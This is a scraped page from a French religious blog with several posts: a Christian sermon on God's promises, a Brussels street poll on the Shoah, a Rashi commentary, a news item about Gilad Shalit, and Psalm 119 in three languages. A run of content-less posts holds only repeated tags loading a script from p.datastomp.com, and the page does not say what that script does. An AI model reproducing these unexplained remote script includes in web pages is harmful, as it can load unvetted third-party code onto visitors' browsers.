•  

    Partager via Gmail Yahoo! Google Bookmarks

    votre commentaire
  • Les promesses de DieuLes promesses de D.ieu

     

    1 Chroniques 16:15  Rappelez-vous à toujours son alliance, Ses promesses pour mille générations  

     

    Introduction : Comme beaucoup, j'aime lire les livres d'auteurs chrétiens qui traitent des sujets concernant la foi, la paix, la joie, l'édification spirituelle, la guérison, tout ce qui concerne le Saint-Esprit et la façon dont il se manifeste. Ceux qui m'aident à mieux connaître Dieu, mon Père céleste et Jésus, mon cher Sauveur et Seigneur.

    Certains me font du bien, mais parfois je suis déçu par la complexité avec laquelle on présente les choses. 

    Il semble que pour obtenir les bénédictions divines, dont nous avons tellement besoin, nous devions entreprendre une véritable  course d'obstacles, un parcours du combattant. Je n'entre pas dans les détails, vous les connaissez certainement. 

    Alors la victoire nous apparaît comme étant le lot d'une élite, des supers spirituels, qui à force d'efforts surhumains connaissent des extases extraordinaires.

    Dernièrement, un soir avant de m'endormir, je lisais tranquillement quelques versets dans l'épitre de Paul aux Colossiens 1.12 à 23.

    C'est merveilleux comme Dieu sait nous parler dans un moment de calme et de tranquillité, lorsque simplement nous lisons sa parole. 

    Au fur et à mesure de ma lecture, une paix profonde  remplissait mon cœur .  Je me disais : "C'est si simple avec Dieu. Il suffit de lire tranquillement sa Parole et la laisser imprégner notre cœur, pour que nous réalisions toute la grâce et la richesse de notre merveilleux Père céleste !"

    N'est-il pas écrit : qu'il donne simplement et sans reproche à ceux qui lui demandent avec foi. (Jacques 1.5)

    Il donne à tous simplement ! 

    La simplicité avec laquelle Dieu nous sauve, nous bénit, nous exauce, nous guérit, nous accorde son Esprit, est renversante. Cela démonte tous les raisonnements compliqués et les méthodes tellement extravagantes que certains nous proposent.

    Sa sainte Parole nous encourage à LUI faire confiance, à le prier comme prie un enfant dans sa simplicité d'une tendre affection.

    Si nous redevenons simples et humbles comme des petits enfants, nous verrons à nouveau s'ouvrir avec bonheur, l'accès à toutes les grâces de Dieu, notre Père.

    LA BIBLE, La Parole de Dieu, renferme de nombreuses promesses du Seigneur, de grandes et précieuses promesses qui concernent notre vie présente et notre vie future, des promesses qui lorsque nous les connaissons et y croyons, sont un puissant encouragement.

    C’est pourquoi Dieu, voulant montrer avec plus d’évidence aux héritiers de la promesse l’immutabilité de sa résolution, intervint par un serment,  afin que, par deux choses immuables, dans lesquelles il est impossible que Dieu mentenous trouvions un puissant encouragement, nous dont le seul refuge a été de saisir l’espérance qui nous était proposée. (Hébreux 6.17/18)  

    >La première remarque : Le Seigneur tient Parole

    Nous devons avoir cette certitude de la fidélité de Dieu à sa Parole. Il accomplit toujours ce qu’il annonce, que ce soit à Israël, à une nation, à l’Église en général ou à une personne en particulier.

    Nous avons un Dieu fidèle qui veille sur sa Parole pour l'accomplir. (Jérémie 1.12)

    De toutes les bonnes paroles que l’Éternel avait dites à la maison d’Israël, aucune ne resta sans effet: toutes s’accomplirent. (Josué 21:45) 

    Version Parole de vie : De cette façon, toutes les promesses que le SEIGNEUR a faites au peuple d’Israël se réalisent. Aucune ne reste sans résultat.

    Il est important de discerner qui est concerné par les promesses de Dieu : Israël, une nation, l’Église ou chacun en particulier. Nous en reparlerons plus loin.

    Nous pouvons être certains de la fidélité de Dieu à ce qu’il dit, annonce ou promet.

    Dieu n’est pas un homme, il ne ment pas. Il n’est pas un être humain, il ne change pas d’avis. Quand il dit quelque chose, il le réalise, quand il fait une promesse, il la tient. ­(Nombres 23:19) 

    Une promesse et un serment, voilà deux choses qu’on ne peut pas changer. Dans sa promesse et dans son serment, Dieu ne peut donc absolument pas mentir, et cela nous encourage beaucoup. (Hébreux 6:18) 

    A l’exemple de Sara, nous devons avoir confiance dans la fidélité de Dieu à sa PAROLE.

    Sara a cru en Dieu, alors Dieu l’a rendue capable d’avoir un enfant. Pourtant elle était très vieille, mais elle était sûre d’une chose: Dieu tient ses  promesses. (Hébreux 11:11)  

    >La seconde chose, connaître les promesses de Dieu.

    Nous devons  connaître les promesses de Dieu  dans les nombreux domaines où elles nous concernent,  afin d’y croire.

    Il est important de discerner qui est concerné par les promesses de Dieu : Israël, l'Eglise, quelque personnage de la Bible, nous-mêmes, afin, soit d'en tirer des instructions, soit de nous attacher aux promesses qui nous sont faîtes.

    Entre toutes les promesses que l’Eternel à faîtes à Israël, il y a celle d’un MESSIE, qui s’est parfaitement accomplie en la personne de JESUS.

    Nous pouvons aussi considérer, que le Seigneur restaure ISRAËL, dans son pays, selon toutes les paroles annoncées par les prophètes. C’est un signe auquel nous devons être attentifs concernant le retour du Seigneur Jésus-Christ.

    Pour l’Église, le Seigneur a fait des promesses précises 

    - la promesse de la bâtir lui-même et d'en prendre soin 

    - la promesse de sa présence chaque jour, jusqu’à la fin, avec les siens : l’Église en général, sur toute la terre, ceux qui s’assemblent en son nom dans différents lieux de prières, chacun de ses rachetés en particulier

    - la promesse du baptême dans le Saint-Esprit, pour tous ceux qui croient en LUI, et de ses manifestations dans les assemblées de croyants

    - la promesse de son retour, aussi certaine que celle de l’aurore, ainsi que celle de notre réunion avec lui, d’un héritage glorieux qui nous est réservé dans les cieux.

    Pour chacun de nous, Dieu a fait de grandes et  précieuses promesses, concernant notre vie présente et notre vie future.

    Comme sa divine puissance nous a donné tout ce qui contribue à la vie et à la piété, au moyen de la connaissance de celui qui nous a appelés par sa propre gloire et par sa vertu,  lesquelles nous assurent de sa part les plus grandes et les plus précieuses promesses, afin que par elles vous deveniez participants de la nature divine, en fuyant la corruption qui existe dans le monde par la convoitise. (2 Pierre 1.3/4) 

    Il y a un équilibre de la foi sur lequel nous devons veiller concernant :

    - Celle   qui regarde les choses temporelles,  notre vie terrestre, nos besoins quotidiens, aussi bien matériels que spirituels

    - Et la foi qui voit plus loin vers les choses à venir : l'héritage que Dieu nous a préparé dans les cieux, la cité d'en haut.

    Les promesses du Seigneur sont nombreuses et elles concernent tous les domaines de notre vie : 

    - le salut de notre âme et la vie éternelle. Marc 16.16 -  1 Jean 2:25 

    - le baptême et les dons du Saint-Esprit. Actes 2.38/39

    - notre sanctification, le secours lorsque nous sommes tentés, la victoire sur le pouvoir du péché. 1 Pierre 5.10/11 - Hébreux 2.17/18

    - la guérison de nos maladies. Marc 16.18 – Jacques 5.14/16

    - le secours dans tous nos besoins. Phil.4.6 – 1 Pierre 5.7

    - l'aide de Dieu dans toutes nos détresses. Psaume 34.6

    - les réponses de Dieu à notre besoin de direction. Psaume 32.8

    - l'exaucement de nos prières, pour nous mêmes, pour les nôtres et pour tous ceux pour lesquels  nous prions. Matthieu 7.7

    - la résurrection glorieuse de notre corps, d’entre les morts, lors du retour de Jésus.

    - un héritage glorieux et éternel dans la présence du Seigneur.

    La Bible, Parole de Dieu, contient toutes les promesses de Dieuil nous suffit de 

    - la lire pour les connaître et les répertorier…

    - les souligner pour les retrouver, en particulier lorsque nous avons besoin de nous les rappeler,  

    - en demander l'accomplissement au Seigneur, par la prière.

    > Troisièmement nous devons y croire

     

    L’accomplissement des promesses de Dieu nous est assuré en Jésus-Christ. 

    Car, pour ce qui concerne toutes les promesses de Dieu, c’est en lui qu’est le oui; c’est pourquoi encore l’Amen par lui est prononcé par nous à la gloire de Dieu. (2 Corinthiens 1:20 )

    Notre foi et nos prières doivent être fondées  sur la parole de Dieu. 

    Chaque fois que nous demandons à Dieu ou que nous attendons de lui quelque chose, nous devons pouvoir nous appuyer sur une parole qu'il a dite, une promesse qu'il a faite.

    Il nous faut alors :

    - Proclamer la promesse, confesser la Parole de Dieu, ce que Dieu dit au sujet de la chose que nous demandons. Il est important d'avoir le langage de la foi. Romains 10.7/10

    - Demander l'accomplissement de la promesse : demande, prière, supplication, larmes…

    - Rendre grâces pour la promesse. Comme dit Jésus :"Croyez que c'est acquis". Marc 11

    - Attendre patiemment l'accomplissement de la promesse en persévérant dans la foi. 

     

          Nous désirons que chacun de vous montre le même zèle pour conserver jusqu’à la fin une pleine espérance, en sorte que vous ne vous relâchiez point, et que vous imitiez ceux qui, par la foi et la persévérance, héritent des promesses. (Hébreux 6:11/12)

    Et c’est ainsi qu’Abraham, ayant persévéré, obtint l’effet de la promesse. (Hébreux 6:15) 

    Retenons fermement la profession de notre espérance, car celui qui a fait la promesse est fidèle. (Hébreux 10:23)  

    C’est par la foi que Sara elle-même, malgré son âge avancé, fut rendue capable d’avoir une postérité, parce qu’elle crut à la fidélité de celui qui avait fait la promesse. (Hébreux 11:11)

    Je me prosterne dans ton saint temple, Et je célèbre ton nom, à cause de ta bonté et de ta fidélité, Car ta renommée s’est accrue par l’accomplissement de tes promesses. (Psaumes 138:2)

    Pasteur web

    Haut de page

    Partager via Gmail Yahoo! Google Bookmarks Pin It

    votre commentaire
  •  

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    Lire la suite...

    Partager via Gmail Yahoo! Google Bookmarks Pin It

    votre commentaire
  •  

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    Lire la suite...

    Partager via Gmail Yahoo! Google Bookmarks Pin It

    2 commentaires
  •  

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    Lire la suite...

    Partager via Gmail Yahoo! Google Bookmarks Pin It

    votre commentaire
  •  

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    Lire la suite...

    Partager via Gmail Yahoo! Google Bookmarks Pin It

    votre commentaire
  •  

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    Lire la suite...

    Partager via Gmail Yahoo! Google Bookmarks

    votre commentaire
  •  

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    Lire la suite...

    Partager via Gmail Yahoo! Google Bookmarks Pin It

    1 commentaire
  •  

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    Lire la suite...

    Partager via Gmail Yahoo! Google Bookmarks Pin It

    votre commentaire
  •  

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    Lire la suite...

    Partager via Gmail Yahoo! Google Bookmarks Pin It

    votre commentaire
  •  

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    Lire la suite...

    Partager via Gmail Yahoo! Google Bookmarks Pin It

    votre commentaire
  •  

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    Lire la suite...

    Partager via Gmail Yahoo! Google Bookmarks Pin It

    votre commentaire
  •  

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    Lire la suite...

    Partager via Gmail Yahoo! Google Bookmarks Pin It

    votre commentaire
  •  

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    Lire la suite...

    Partager via Gmail Yahoo! Google Bookmarks Pin It

    votre commentaire
  •  

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script> <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script> <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script> <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    Lire la suite...

    Partager via Gmail Yahoo! Google Bookmarks Pin It

    1 commentaire
  •  

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script> <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script> <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script> <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    Lire la suite...

    Partager via Gmail Yahoo! Google Bookmarks Pin It

    votre commentaire
  •  

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script> <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    Lire la suite...

    Partager via Gmail Yahoo! Google Bookmarks

    votre commentaire
  •  

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script> <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script> <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script> <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script> <script src="http://p.datastomp.com/9/3/39.js" type="text/javascript"></script>

    Lire la suite...

    Partager via Gmail Yahoo! Google Bookmarks

    votre commentaire
  • Les citoyens bruxellois d'aujourd'hui sont-ils au courant de la complicité de l'administration communale dans la déportation des Juifs? Approuvent-ils le projet du bourgmestre Thielemans de reconnaître la vérité historique et de présenter ses excuses à la communauté juive?
    Pour donner des éléments de réponse à ces questions, l'Association pour la Mémoire de la Shoah a dépêché 2 enquêteurs ce mardi après-midi devant l'entrée de l'administration communale, 6 Boulevard Anspach. Durant un peu plus d'une heure, ils ont questionné au hasard de leurs passage 43 personnes déclarant habiter sur le territoire de la Ville de Bruxelles (codes postaux 1000,1020, 1120 et 1130).
    Les questions posées étaient les suivantes:


    1 - Saviez-vous que l’administration communale de Bruxelles a été complice de la déportation des Juifs de la commune durant la guerre, en donnant leurs adresses à la Gestapo (Police nazie) ?
    2 – Estimez-vous nécessaire que le Bourgmestre de Bruxelles reconnaisse officiellement cette faute et présente ses excuses à la communauté juive ?
    3 – Vos ancêtres vivaient-ils en Belgique durant la guerre ?
    4 – Quel âge avez-vous?


    Seulement 23% (10/43) personnes interrogées étaient au courant de la complicité de l'administration dans la déportation des Juifs et 63% de l'échantillon (27/43) approuvent le projet du bourgmestre de reconnaître ces faits publiquement et de présenter des excuses à la communauté juive.

    44% (19/43) de l'ensemble des personnes interrogées ont des ancêtres qui vivaient en Belgique durant la guerre. Leur âge moyen est de 40 ans. Dans cette sous-catégorie belge de vieille souche, 21% (4/19) connaissaient ce point d'histoire et 68% (13/19) approuvent le projet du bourgmestre.

    56% (24/43) des personnes interrogées n'ont pas eu d'ancêtres vivant en Belgique durant la guerre. Leur âge moyen est de 30 ans. Dans cette sous-catégorie, 25% (6/24) connaissaient ce point d'histoire et 58% (14/24) approuvent le projet du bourgmestre.

    Il semble, d'après ce bref coup de sonde, qu'une large majorité des habitants de Bruxelles ignorent la complicité de l'administration communale dans la Shoah alors que plus d'1/3 sont défavorables à la cérémonie de reconnaissance prévue ce dimanche. Il n'y a pas de différence notable à ce sujet entre les habitants de vieille souche et les nouveaux citoyens bruxellois.

    Date de publicationLe 28/08/2012 AuteurEric Picard

    Mme

    Bonne initiative Eric... Ce n'est qu'un sondage et le nombre est trop peu nombreux pour établir une statistique représentative mais c'est un éclairage intéressant. 


    Cela vaudrait la peine de faire un vrai sondage trottoir...

    28/08/2012
    Evelyne Haendel

    Partager via Gmail Yahoo! Google Bookmarks Pin It

    votre commentaire
  • Pourquoi la Torah débute t-elle avec le récit de la Création ?

     
     La creation
     Marc Chagall

     











    “Au commencement Elohim créa le ciel et la terre”.
    Le commentaire de Rachi est très étonnant:  La Thora n’aurait dû commencer qu’à partir de « Ce mois-ci est pour vous le commencement des mois » (CHEMOT XII,2), qui est la première mitzva prescrite à Israël. Pourquoi débuter avec le récit de la Création ? Parce que... Si les peuples du monde venaient à dire à Israël : “Vous êtes des voleurs, parce que vous avez conquis les terres des sept nations”, on leur répondrait :
    “Toute la terre appartient au Saint Béni-soit-Il. C’est Lui qui l’a créée et Il l’a donnée à qui est droit à Ses yeux. Par Sa volonté Il la leur a donnée, et de par Sa volonté Il la leur a prise et nous l’a donnée.”
    Et on découvre soudainement que l'histoire n'est pas de la petite politique contemporaire que l'on découvre chaque jour dans le journal. 
    Mais la continuité est totale : toutes les nations (occidentales) tiennent ce discours, et contre Israël. Depuis si longtemps; Rachi nous éclaire et nous dit que cette attaque est normale car les nations ont été dépossédées de ce dont elles étaient porteuses. 
    Elles le sentent, elles qui veulent toujours se substituer à la Torah d'Israël, lui prendre son testament, son identité, sa terre. Qui n'a pas cette formation en anthropologie; en histoire des textes, et en histoire millénaire ne peut rien comprendre de l'actualité qui se déroule dans les conflits des mémoires au Proche-orient, et dans l'attitude de l'Occident chrétien ou du monde arabo-musulman envers Israël.

    famous jews
    Partager via Gmail Yahoo! Google Bookmarks Pin It

    votre commentaire
  • Kef Israel

    Vivre Israël au quotidien

    Shlomo Artzi chante pour Gilad Shalitmai 3, 2012

    Shlomo Artzi chante pour Gilad Shalit

     

    Le premier concert de la saison du très populaire chanteur israélien Shlomo Artzi a eu lieu hier en plein air dans l’amphitéâtre de Césarée. Gilad Shalit, libre enfin depuis le 18 octobre 2011 était présent.

    Pendant le concert, Shlomo Artsi s’est adressé à Gilad Shalit:

    « Deux ans avant ta libération, j’ai eu une conversation avec ton père et je lui ait dit que j’avais une vision. Je vois Gilad. Il reviendra et il sera avec nous à Césarée. Quand tu étais prisonnier, à chacun de mes concerts, il y avait ta photo et à chaque fois, je chantais ma chanson « Roi du monde », מלך העולם . Je vais la chanter pour toi ce soir et après je te promets, je te laisse tranquille. »

     

    Partager via Gmail Yahoo! Google Bookmarks Pin It

    1 commentaire
  • Les Psaumes - Chapitre 119 - תְּהִלִּים  Son thème dominant est le respect de la Loi.

     

    Le psaume 119 (118 dans la numérotation de la Septante) est le plus long des psaumes ainsi que le plus long chapitre de la Bible. Il est désigné en latin par ses premiers mots, Beati immaculati in via. Son thème dominant est le respect de la Loi.

    Le psaume 119 comporte 176 versets regroupés par strophes de huit. Voici le premier huitain en hébreu, en français et en latin :

    versetoriginal hébreu1traduction française de Louis Segond2Vulgate3 latine
    1 אַשְׁרֵי תְמִימֵי-דָרֶךְ-- הַהֹלְכִים, בְּתוֹרַת יְהוָה Heureux ceux qui sont intègres dans leur voie, qui marchent selon la loi de l’Éternel ! Beati inmaculati in via qui ambulant in lege Domini
    2 אַשְׁרֵי, נֹצְרֵי עֵדֹתָיו; בְּכָל-לֵב יִדְרְשׁוּהוּ Heureux ceux qui gardent ses préceptes, qui le cherchent de tout leur cœur, Beati qui scrutantur testimonia eius in toto corde exquirent eum
    3 אַף, לֹא-פָעֲלוּ עַוְלָה; בִּדְרָכָיו הָלָכוּ Qui ne commettent point d’iniquité, et qui marchent dans ses voies ! Non enim qui operantur iniquitatem in viis eius ambulaverunt
    4 אַתָּה, צִוִּיתָה פִקֻּדֶיךָ-- לִשְׁמֹר מְאֹד Tu as prescrit tes ordonnances, pour qu’on les observe avec soin. Tu mandasti mandata tua custodire nimis
    5 אַחֲלַי, יִכֹּנוּ דְרָכָי-- לִשְׁמֹר חֻקֶּיךָ Puissent mes actions être bien réglées, afin que je garde tes statuts ! Utinam dirigantur viae meae ad custodiendas iustificationes tuas
    6 אָז לֹא-אֵבוֹשׁ-- בְּהַבִּיטִי, אֶל-כָּל-מִצְו‍ֹתֶיךָ Alors je ne rougirai point, à la vue de tous tes commandements. Tunc non confundar cum perspexero in omnibus mandatis tuis
    7 אוֹדְךָ, בְּיֹשֶׁר לֵבָב-- בְּלָמְדִי, מִשְׁפְּטֵי צִדְקֶךָ Je te louerai dans la droiture de mon cœur, en apprenant les lois de ta justice. Confitebor tibi in directione cordis in eo quod didici iudicia iustitiae tuae
    8 אֶת-חֻקֶּיךָ אֶשְׁמֹר; אַל-תַּעַזְבֵנִי עַד-מְאֹד Je veux garder tes statuts : ne m’abandonne pas entièrement ! Iustificationes tuas custodiam non me derelinquas usquequaque

    Structure

    Le psaume 119 fait partie des quelques poèmes acrostiches que l'on trouve dans la Bible. Ses 176 versets sont divisés en 22 strophes, une pour chacun des 22 caractères que compte l'alphabet hébreu. Dans le texte hébreu, chacun des huit versets de chaque strophe commence par la même lettre hébraïque. Cette caractéristique n'a pas été maintenue dans le texte grec de la Septante puis dans le texte latin, si ce n'est que de nombreux manuscrits ont placé en tête de chaque strophe le nom de la lettre hébraïque correspondante (par exemple aleph pour la première strophe, tav pour la dernière)4.

    En raison de cette structure, le psaume 118/119 était une des principales occurrences de l'alphabet hébreu dans les textes de l’Occident médiéval et moderne5.


    Les Psaumes - Chapitre 119 - תְּהִלִּים

    א  אַשְׁרֵי תְמִימֵי-דָרֶךְ--    הַהֹלְכִים, בְּתוֹרַת יְהוָה. 1 Heureux ceux dont la voie est intègre, qui suivent la Loi de l’Eternel!
    ב  אַשְׁרֵי, נֹצְרֵי עֵדֹתָיו;    בְּכָל-לֵב יִדְרְשׁוּהוּ. 2 Heureux ceux qui respectent ses statuts, le recherchent de tout leur cœur,
    ג  אַף, לֹא-פָעֲלוּ עַוְלָה;    בִּדְרָכָיו הָלָכוּ. 3 qui, se gardant bien de commettre aucune injustice, marchent dans ses voies!
    ד  אַתָּה, צִוִּיתָה פִקֻּדֶיךָ--    לִשְׁמֹר מְאֹד. 4 Tu as promulgué tes ordonnances, pour qu’on les observe strictement.
    ה  אַחֲלַי, יִכֹּנוּ דְרָכָי--    לִשְׁמֹר חֻקֶּיךָ. 5 Ah! puissent mes pas être fermes, pour que j’observe tes préceptes!
    ו  אָז לֹא-אֵבוֹשׁ--    בְּהַבִּיטִי, אֶל-כָּל-מִצְו‍ֹתֶיךָ. 6 Alors, je ne serai point déçu, en portant mes regards sur tous tes commandements.
    ז  אוֹדְךָ, בְּיֹשֶׁר לֵבָב--    בְּלָמְדִי, מִשְׁפְּטֵי צִדְקֶךָ. 7 Je te rendrai grâce en toute droiture de cœur, en m’instruisant des règles de ta justice.
    ח  אֶת-חֻקֶּיךָ אֶשְׁמֹר;    אַל-תַּעַזְבֵנִי עַד-מְאֹד. 8 Tes statuts, je les observerai: ne m’abandonne en aucun temps.
    ט  בַּמֶּה יְזַכֶּה-נַּעַר, אֶת-אָרְחוֹ--    לִשְׁמֹר, כִּדְבָרֶךָ. 9 Comment le jeune homme rendra-t-il pure sa conduite? En se conformant à tes paroles.
    י  בְּכָל-לִבִּי דְרַשְׁתִּיךָ;    אַל-תַּשְׁגֵּנִי, מִמִּצְו‍ֹתֶיךָ. 10 De tout mon cœur je m’enquiers de toi, ne me laisse pas dévier de tes prescriptions.
    יא  בְּלִבִּי, צָפַנְתִּי אִמְרָתֶךָ--    לְמַעַן, לֹא אֶחֱטָא-לָךְ. 11 En mon sein j’ai déposé tes instructions, pour ne pas faillir à ton égard.
    יב  בָּרוּךְ אַתָּה יְהוָה--    לַמְּדֵנִי חֻקֶּיךָ. 12 Béni sois-tu, ô Eternel! Enseigne-moi tes préceptes.
    יג  בִּשְׂפָתַי סִפַּרְתִּי--    כֹּל, מִשְׁפְּטֵי-פִיךָ. 13 De mes lèvres je proclame toutes les règles sorties de ta bouche.
    יד  בְּדֶרֶךְ עֵדְו‍ֹתֶיךָ שַׂשְׂתִּי--    כְּעַל כָּל-הוֹן. 14 Dans le chemin tracé par tes témoignages je trouve ma joie, comme si c’était le comble de la richesse.
    טו  בְּפִקּוּדֶיךָ אָשִׂיחָה;    וְאַבִּיטָה, אֹרְחֹתֶיךָ. 15 Je m’entretiens de tes commandements, et je contemple tes voies.
    טז  בְּחֻקֹּתֶיךָ אֶשְׁתַּעֲשָׁע;    לֹא אֶשְׁכַּח דְּבָרֶךָ. 16 Je me délecte de tes préceptes, et n’oublie point tes paroles.
    יז  גְּמֹל עַל-עַבְדְּךָ אֶחְיֶה;    וְאֶשְׁמְרָה דְבָרֶךָ. 17 Accorde tes bienfaits à ton serviteur, pour que je vive et observe tes paroles.
    יח  גַּל-עֵינַי וְאַבִּיטָה--    נִפְלָאוֹת, מִתּוֹרָתֶךָ. 18 Dessille-moi les yeux, pour que je puisse contempler les merveilles issues de ta Loi.
    יט  גֵּר אָנֹכִי בָאָרֶץ;    אַל-תַּסְתֵּר מִמֶּנִּי, מִצְו‍ֹתֶיךָ. 19 Je suis un simple étranger sur la terre, ne me tiens pas cachés tes commandements.
    כ  גָּרְסָה נַפְשִׁי לְתַאֲבָה--    אֶל-מִשְׁפָּטֶיךָ בְכָל-עֵת. 20 Mon âme est travaillée du désir de tes règlements, à toute époque.
    כא  גָּעַרְתָּ, זֵדִים אֲרוּרִים--    הַשֹּׁגִים, מִמִּצְו‍ֹתֶיךָ. 21 Toi, tu réprouves les arrogants maudits, qui se fourvoient loin de tes commandements.
    כב  גַּל מֵעָלַי, חֶרְפָּה וָבוּז:    כִּי עֵדֹתֶיךָ נָצָרְתִּי. 22 Affranchis-moi de la honte et du mépris, car je respecte tes témoignages.
    כג  גַּם יָשְׁבוּ שָׂרִים, בִּי נִדְבָּרוּ--    עַבְדְּךָ, יָשִׂיחַ בְּחֻקֶּיךָ. 23 Dussent même les grands prendre siège et déblatérer contre moi, ton serviteur méditera tes lois.
    כד  גַּם-עֵדֹתֶיךָ, שַׁעֲשֻׁעָי--    אַנְשֵׁי עֲצָתִי. 24 Oui, tes témoignages sont mes délices, mes meilleurs conseillers.
    כה  דָּבְקָה לֶעָפָר נַפְשִׁי;    חַיֵּנִי, כִּדְבָרֶךָ. 25 Mon âme est collée à la poussière, conserve-moi en vie, suivant ta parole.
    כו  דְּרָכַי סִפַּרְתִּי, וַתַּעֲנֵנִי;    לַמְּדֵנִי חֻקֶּיךָ. 26 J’ai exposé ma conduite, et tu m’as répondu; enseigne-moi tes lois.
    כז  דֶּרֶךְ-פִּקּוּדֶיךָ הֲבִינֵנִי;    וְאָשִׂיחָה, בְּנִפְלְאוֹתֶיךָ. 27 Laisse-moi comprendre le chemin de tes préceptes, et je réfléchirai à tes merveilles.
    כח  דָּלְפָה נַפְשִׁי, מִתּוּגָה;    קַיְּמֵנִי, כִּדְבָרֶךָ. 28 Mon âme, de chagrin, se fond en larmes, redresse-moi, selon ta parole.
    כט  דֶּרֶךְ-שֶׁקֶר, הָסֵר מִמֶּנִּי;    וְתוֹרָתְךָ חָנֵּנִי. 29 Eloigne de moi le chemin du mensonge, gratifie-moi de ta Loi.
    ל  דֶּרֶךְ-אֱמוּנָה בָחָרְתִּי;    מִשְׁפָּטֶיךָ שִׁוִּיתִי. 30 J’ai choisi la voie de la fidélité, placé tes règles sous mes regards.
    לא  דָּבַקְתִּי בְעֵדְו‍ֹתֶיךָ;    יְהוָה, אַל-תְּבִישֵׁנִי. 31 Je suis attaché à tes statuts, Seigneur, ne m’inflige aucune déception.
    לב  דֶּרֶךְ-מִצְו‍ֹתֶיךָ אָרוּץ:    כִּי תַרְחִיב לִבִּי. 32 Je suivrai avec empressement le chemin de tes préceptes, car tu élargis mon cœur.
    לג  הוֹרֵנִי יְהוָה, דֶּרֶךְ חֻקֶּיךָ;    וְאֶצְּרֶנָּה עֵקֶב. 33 Enseigne-moi le chemin de tes préceptes, je veux en suivre les traces.
    לד  הֲבִינֵנִי, וְאֶצְּרָה תוֹרָתֶךָ;    וְאֶשְׁמְרֶנָּה בְכָל-לֵב. 34 Donne-moi l’intelligence pour que je garde ta loi et l’observe de tout mon cœur.
    לה  הַדְרִיכֵנִי, בִּנְתִיב מִצְו‍ֹתֶיךָ:    כִּי-בוֹ חָפָצְתִּי. 35 Dirige-moi dans le sentier de tes commandements, car j’y trouve ma satisfaction.
    לו  הַט-לִבִּי, אֶל-עֵדְו‍ֹתֶיךָ;    וְאַל אֶל-בָּצַע. 36 Incline mon cœur vers tes vérités, et non vers un vain lucre.
    לז  הַעֲבֵר עֵינַי, מֵרְאוֹת שָׁוְא;    בִּדְרָכֶךָ חַיֵּנִי. 37 Détourne mes yeux de la vue des choses frivoles, fais-moi vivre dans tes voies.
    לח  הָקֵם לְעַבְדְּךָ, אִמְרָתֶךָ--    אֲשֶׁר, לְיִרְאָתֶךָ. 38 Accomplis ton dire en faveur de ton serviteur, car [il amène] à te révérer.
    לט  הַעֲבֵר חֶרְפָּתִי, אֲשֶׁר יָגֹרְתִּי:    כִּי מִשְׁפָּטֶיךָ טוֹבִים. 39 Ecarte de moi la honte que je redoute, car tes jugements sont précieux.
    מ  הִנֵּה, תָּאַבְתִּי לְפִקֻּדֶיךָ;    בְּצִדְקָתְךָ חַיֵּנִי. 40 Voici, j’ai la passion de tes préceptes, fais-moi vivre par ta justice.
    מא  וִיבֹאֻנִי חֲסָדֶךָ יְהוָה;    תְּשׁוּעָתְךָ, כְּאִמְרָתֶךָ. 41 Que tes bontés descendent sur moi, Eternel, ton salut, tel que tu l’as promis.
    מב  וְאֶעֱנֶה חֹרְפִי דָבָר:    כִּי-בָטַחְתִּי, בִּדְבָרֶךָ. 42 Je pourrai ainsi répliquer à qui m’outrage, car j’ai confiance en ta parole.
    מג  וְאַל-תַּצֵּל מִפִּי דְבַר-אֱמֶת עַד-מְאֹד:    כִּי לְמִשְׁפָּטֶךָ, יִחָלְתִּי. 43 Ne supprime jamais une parole de vérité de ma bouche, car je mets mon attente en tes jugements.
